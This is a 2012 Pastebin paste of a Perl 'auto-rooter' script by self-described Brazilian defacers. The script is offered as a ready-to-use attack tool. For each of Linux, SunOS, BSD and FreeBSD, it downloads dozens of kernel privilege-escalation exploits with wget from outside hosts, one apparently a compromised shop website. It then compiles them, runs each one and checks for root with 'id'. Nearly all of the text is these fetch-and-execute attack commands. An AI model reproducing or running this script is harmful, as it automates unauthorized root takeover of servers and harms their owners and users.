Advertisement
G4L0

r00tserv3r

Mar 24th, 2012
219
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 12.87 KB | None | 0 0
  1. ####################################################################################################
  2. #!/usr/bin/perl
  3. # Todos os exploits aqui usandos foram upados por n4sss, ou outros tais
  4. # como: Shadow-EBR, r00t-BR, CrosS; alem de parte do codigo.
  5. #
  6. # Eu G4L0 so tentei facilitar um pouco nossas vidas.
  7. # n4sss[at]hotmail[dot]com # Brazilians Defacers # @n4sss
  8. # g4l0[at]live[dot]com # @G4L0_Br
  9. ####################################################################################################
  10.  
  11. # AUTO-r00ters = linux/linux2011/Sunos/BSD/FreeBSD
  12.  
  13. print "######################################################\n";
  14. print "#     #Escolha seu 3xploit :) #\n";
  15. print "# - root linux: perl $0 linux #\n";
  16. print "# - root Linux 2011: perl $0 linux2011 #\n";
  17. print "# - root SunOS: perl $0 sunos #\n";
  18. print "# - root Bsd: perl $0 bsd #\n";
  19. print "# - root FreeBsd: perl $0 freebsd #\n";
  20. print "#             By G4L0_Br       #\n";
  21. print "# Tanks n4sss, Shadow-EBR, r00t-BR, CrosS, ST4TuS #\n";
  22. print "# lets go! #\n";
  23. print "######################################################\n";
  24.  
  25. if ($ARGV[0] =~ "linux" )
  26. {
  27. print "###############################\n";
  28. print "# # AUTO-r00ters = linux/linux2011/Sunos/BSD/FreeBSD #\n";
  29. print "# r00ting linux #\n";
  30. print "###############################\n";
  31. system("uname -a;mkdir linux;cd linux");
  32. print "Aguarde!\n";
  33. print ".\n";
  34. print "..\n";
  35. print "...\n";
  36. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/2.6.17");
  37. system("chmod 777 2.6.17");
  38. system("./2.6.17");
  39. system("id");
  40. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/2.6.18");
  41. system("chmod 777 2.6.18");
  42. system("./2.6.18");
  43. system("id");
  44. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/exploits/2.6.10/05");
  45. system("chmod 777 05");
  46. system("./05");
  47. system("id");
  48. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/exploits/2.6.10/krad");
  49. system("chmod 777 krad");
  50. system("./krad");
  51. system("id");
  52. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/exploits/2.6.10/krad2");
  53. system("chmod 777 krad2");
  54. system("./krad2");
  55. system("id");
  56. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/exploits/2.6.11/2.6.11-2007-priv8");
  57. system("mv 2.6.11-2007-priv8 2.6.11-2007-priv8.c;gcc 2.6.11-2007-priv8.c -o 2007-priv8");
  58. system("./2007-priv8");
  59. system("id");
  60. system("wget http://www.lavidapresentes.com.br/lo...2/binfmt_elf.c ");
  61. system("gcc binfmt_elf.c -o binfmt_elf ;chmod 777 binfmt_elf");
  62. system("./binfmt_elf");
  63. system("id");
  64. system("wget http://www.lavidapresentes.com.br/lo....6.12/elfcd2.c ");
  65. system("gcc elfcd2.c -o elfcd2 ;chmod 777 elfcd2");
  66. system("./elfcd2");
  67. system("id");
  68. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/exploits/2.6.18/2.6.18.2");
  69. system("chmod 777 2.6.18.2");
  70. system("./2.6.18.2");
  71. system("id");
  72. system("wget http://www.lavidapresentes.com.br/lo...ts/2.6.18/2008 ");
  73. system("chmod 777 2008");
  74. system("./2008");
  75. system("id");
  76. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/2.6.32");
  77. system("chmod 777 2.6.32");
  78. system("./2.6.32");
  79. system("id");
  80. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/2.6.32_i686");
  81. system("chmod 777 2.6.32_i686");
  82. system("./2.6.32_i686");
  83. system("id");
  84. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/2.6.37rc2");
  85. system("chmod 777 2.6.37rc2");
  86. system("./2.6.37rc2");
  87. system("id");
  88. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/2.6.x");
  89. system("chmod 777 2.6.x");
  90. system("./2.6.x");
  91. system("id");
  92. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/2010-1");
  93. system("chmod 777 2010-1");
  94. system("./2010-1");
  95. system("id");
  96. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/ab");
  97. system("chmod 777 ab");
  98. system("./ab");
  99. system("id");
  100. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/c");
  101. system("chmod 777 c");
  102. system("./c");
  103. system("id");
  104. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/froot");
  105. system("chmod 777 froot");
  106. system("./froot");
  107. system("id");
  108. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/iskorpitx");
  109. system("chmod 777 iskorpitx");
  110. system("./iskorpitx");
  111. system("id");
  112. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/rds-exploit");
  113. system("chmod 777 rds-exploit");
  114. system("./rds-exploit");
  115. system("id");
  116. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/vmsplice");
  117. system("chmod 777 vmsplice");
  118. system("./vmsplice");
  119. system("id");
  120. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/2.6.18.92.1/2.6.18-20_2009");
  121. system("chmod 777 2.6.18-20_2009");
  122. system("./2.6.18-20_2009");
  123. system("id");
  124. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/2.6.18.92.1/2009");
  125. system("chmod 777 2009");
  126. system("./2009");
  127. system("id");
  128. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/2.6.18.92.1/facku_root");
  129. system("chmod 777 facku_root");
  130. system("./facku_root");
  131. system("id");
  132. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/exp1");
  133. system("chmod 777 exp1");
  134. system("./exp1");
  135. system("id");
  136. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/exp2");
  137. system("chmod 777 exp2");
  138. system("./exp2");
  139. system("id");
  140. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/exp3");
  141. system("chmod 777 exp3");
  142. system("./exp3");
  143. system("id");
  144. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/exploit");
  145. system("chmod 777 exploit");
  146. system("./exploit");
  147. system("id");
  148. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/exploit2");
  149. system("chmod 777 exploit2");
  150. system("./exploit2");
  151. system("id");
  152. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/elflbl");
  153. system("chmod 777 elflbl");
  154. system("./elflbl");
  155. system("id");
  156. print "linux ok! [+]\n";
  157. }
  158. if ($ARGV[0] =~ "linux2011" )
  159. {
  160. print "###############################\n";
  161. print "# # AUTO-r00ters = linux/linux2011/Sunos/BSD/FreeBSD #\n";
  162. print "# r00ting linux 2011 #\n";
  163. print "###############################\n";
  164. system("uname -a;mkdir linux2011;cd linux2011");
  165. print "Aguarde!\n";
  166. print ".\n";
  167. print "..\n";
  168. print "...\n";
  169. system("wget http://www.r00tw0rm.com/2o11Expl01t/2.6.18.c");
  170. system("gcc 2.6.18.c -o 2.6.18");
  171. system("chmod 777 2.6.18");
  172. system("./2.6.18");
  173. system("id");
  174. system("wget http://www.r00tw0rm.com/2o11Expl01t/2.6.33.c");
  175. system("gcc 2.6.33.c -o 2.6.33");
  176. system("chmod 777 2.6.33");
  177. system("./2.6.33");
  178. system("id");
  179. system("wget http://www.r00tw0rm.com/2o11Expl01t/2.6.34.c");
  180. system("gcc -w 2.6.34.c -o 2.6.34");
  181. system("sudo setcap cap_sys_admin+ep 2.6.34");
  182. system("./2.6.34");
  183. system("id");
  184. system("wget http://www.r00tw0rm.com/2o11Expl01t/2.6.37-rc2.c");
  185. system("gcc 2.6.37-rc2.c -o 2.6.37-rc2");
  186. system("chmod 777 2.6.37-rc2");
  187. system("./2.6.37-rc2");
  188. system("id");
  189. system("wget http://www.r00tw0rm.com/2o11Expl01t/2.6.37.c");
  190. system("gcc 2.6.37.c -o 2.6.37");
  191. system("chmod 777 2.6.37");
  192. system("./2.6.37");
  193. system("id");
  194. system("wget http://www.r00tw0rm.com/2o11Expl01t/2.6.43.2.c");
  195. system("gcc -w 2.6.43.2.c -o 2.6.43.2");
  196. system("sudo setcap cap_sys_admin+ep 2.6.43.2");
  197. system("chmod 777 2.6.43.2");
  198. system("./2.6.43.2");
  199. system("id");
  200. system("wget http://www.r00tw0rm.com/2o11Expl01t/3.0.c");
  201. system("gcc 3.0.c -o 3.0");
  202. system("chmod 777 3.0");
  203. system("./3.0");
  204. system("id");
  205. print "linux 2011 ok! [+]\n";
  206. }
  207. if ($ARGV[0] =~ "sunos" )
  208. {
  209. print "###############################\n";
  210. print "# # AUTO-r00ters = linux/linux2011/Sunos/BSD/FreeBSD #\n";
  211. print "# r00ting Sunos #\n";
  212. print "###############################\n";
  213. print "Aguarde!\n";
  214. print ".\n";
  215. print "..\n";
  216. print "...\n";
  217. system("uname -a;mkdir sunos;cd sunos");
  218. system("wget http://www.lavidapresentes.com.br/lo.../exp/sunos/Mac OS X/macosX");
  219. system("chmod 777 macosX");
  220. system("./macosX");
  221. system("id");
  222. system("wget http://www.lavidapresentes.com.br/lo...xp/sunos/SunOS 5.7/solaris27");
  223. system("chmod 777 solaris27");
  224. system("./solaris27");
  225. system("id");
  226. system("wget http://www.lavidapresentes.com.br/lo...xp/sunos/SunOS 5.8/final");
  227. system("chmod 777 final");
  228. system("./final");
  229. system("id");
  230. system("wget http://www.lavidapresentes.com.br/lo...xp/sunos/SunOS 5.9/sunos59");
  231. system("chmod 777 sunos59");
  232. system("./sunos59");
  233. system("id");
  234. system("wget http://www.lavidapresentes.com.br/lo...xp/sunos/SunOS 5.10/sunos510.txt");
  235. system("mv sunos510.txt sunos510.c;gcc sunos510.c -o sunos510");
  236. system("./sunos510");
  237. system("id");
  238. print " SunOS ok! [+]\n";
  239. }
  240. if ($ARGV[0] =~ "bsd" )
  241. {
  242. print "###############################\n";
  243. print "# # AUTO-r00ters = linux/linux2011/BSD/FreeBSD/Sunos #\n";
  244. print "# r00ting BSD #\n";
  245. print "###############################\n";
  246. print "Aguarde!\n";
  247. print ".\n";
  248. print "..\n";
  249. print "...\n";
  250. print "################################\n";
  251. system("uname -a;mkdir bsd;cd bsd");
  252. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/bsd/48local");
  253. system("chmod 777 48local");
  254. system("./48local");
  255. system("id");
  256. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/bsd/bsd");
  257. system("chmod 777 bsd");
  258. system("./bsd");
  259. system("id");
  260. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/bsd/bsd-ktimer");
  261. system("chmod 777 bsd-ktimer");
  262. system("./bsd-ktimer");
  263. system("id");
  264. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/bsd/exploit");
  265. system("chmod 777 exploit");
  266. system("./exploit");
  267. system("id");
  268. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/bsd/freedbs5.3");
  269. system("chmod 777 freedbs5.3");
  270. system("./freedbs5.3");
  271. system("id");
  272. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/bsd/mountnfsex");
  273. system("chmod 777 mountnfsex");
  274. system("./mountnfsex");
  275. system("id");
  276. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/bsd/n4sss.sh");
  277. system("chmod 777 n4sss");
  278. system("sh n4sss.sh");
  279. system("id");
  280. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/bsd/netgraph6.4.out");
  281. system("chmod 777 netgraph6.4.out");
  282. system("./netgraph6.4.out");
  283. system("id");
  284. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/bsd/nfs_mount_ex");
  285. system("chmod 777 nfs_mount_ex");
  286. system("./nfs_mount_ex");
  287. system("id");
  288. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/bsd/protosw");
  289. system("chmod 777 protosw");
  290. system("./protosw");
  291. system("wget http://www.lavidapresentes.com.br/loja//templates/beez/exp/exp/bsd/reject");
  292. system("chmod 777 reject");
  293. system("./reject");
  294. system("id");
  295. print " BSD ok! [+]\n";
  296. }
  297. if ($ARGV[0] =~ "freebsd" )
  298. {
  299. print "###############################\n";
  300. print "# # AUTO-r00ters = linux/linux2011/Sunos/BSD/FreeBSD #\n";
  301. print "# r00ting FreeBSD #\n";
  302. print "###############################\n";
  303. print "Aguarde!\n";
  304. print ".\n";
  305. print "..\n";
  306. print "...\n";
  307. system("uname -a;mkdir freebsd;cd frebsd");
  308. system("wget http://atelier3.jp/js/js/48local");
  309. system("chmod 777 48local");
  310. system("./48local");
  311. system("id");
  312. system("wget http://atelier3.jp/js/js/bsd");
  313. system("chmod 777 bsd");
  314. system("./bsd");
  315. system("id");
  316. system("wget http://atelier3.jp/js/js/bsd-ktimer");
  317. system("chmod 777 bsd-ktimer");
  318. system("./bsd-ktimer");
  319. system("id");
  320. system("wget http://atelier3.jp/js/js/exploit");
  321. system("chmod 777 exploit");
  322. system("./exploit");
  323. system("id");
  324. system("wget http://atelier3.jp/js/js/freedbs5.3");
  325. system("chmod 777 freedbs5.3");
  326. system("./freedbs5.3");
  327. system("id");
  328. system("wget http://atelier3.jp/js/js/mountnfsex");
  329. system("chmod 777 mountnfsex");
  330. system("./mountnfsex");
  331. system("id");
  332. system("wget http://atelier3.jp/js/js/netgraph6.4.out");
  333. system("chmod 777 netgraph6.4.out");
  334. system("./netgraph6.4.out");
  335. system("id");
  336. system("wget http://atelier3.jp/js/js/nfs_mount_ex");
  337. system("chmod 777 nfs_mount_ex");
  338. system("./nfs_mount_ex");
  339. system("id");
  340. system("wget http://atelier3.jp/js/js/protosw");
  341. system("chmod 777 protosw");
  342. system("./protosw");
  343. system("id");
  344. system("wget http://atelier3.jp/js/js/reject");
  345. system("chmod 777 reject");
  346. system("./reject");
  347. system("id");
  348. system("wget http://atelier3.jp/js/js/7-2BSD20092008.pl");
  349. system("chmod 777 7-2BSD20092008.pl");
  350. system("perl 7-2BSD20092008.pl");
  351. system("id");
  352. system("id");
  353. system("id");
  354. system("id");
  355. system("id");
  356. system("id");
  357. system("id");
  358. system("id");
  359. print"FreeBSD ok!\n";
  360. }
  361.  
  362.  
  363.  
  364.  
  365. # Compilacao de AUTO-r00ters finish!
  366. # By G4L0. @g4l0_Br
  367. # http://zone-h.org/archive/notifier=g4l0boy
  368. # Tanks @n4sss! Shadow-EBR, r00t-BR, CrosS;
  369. # 2012.
  370. # #
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement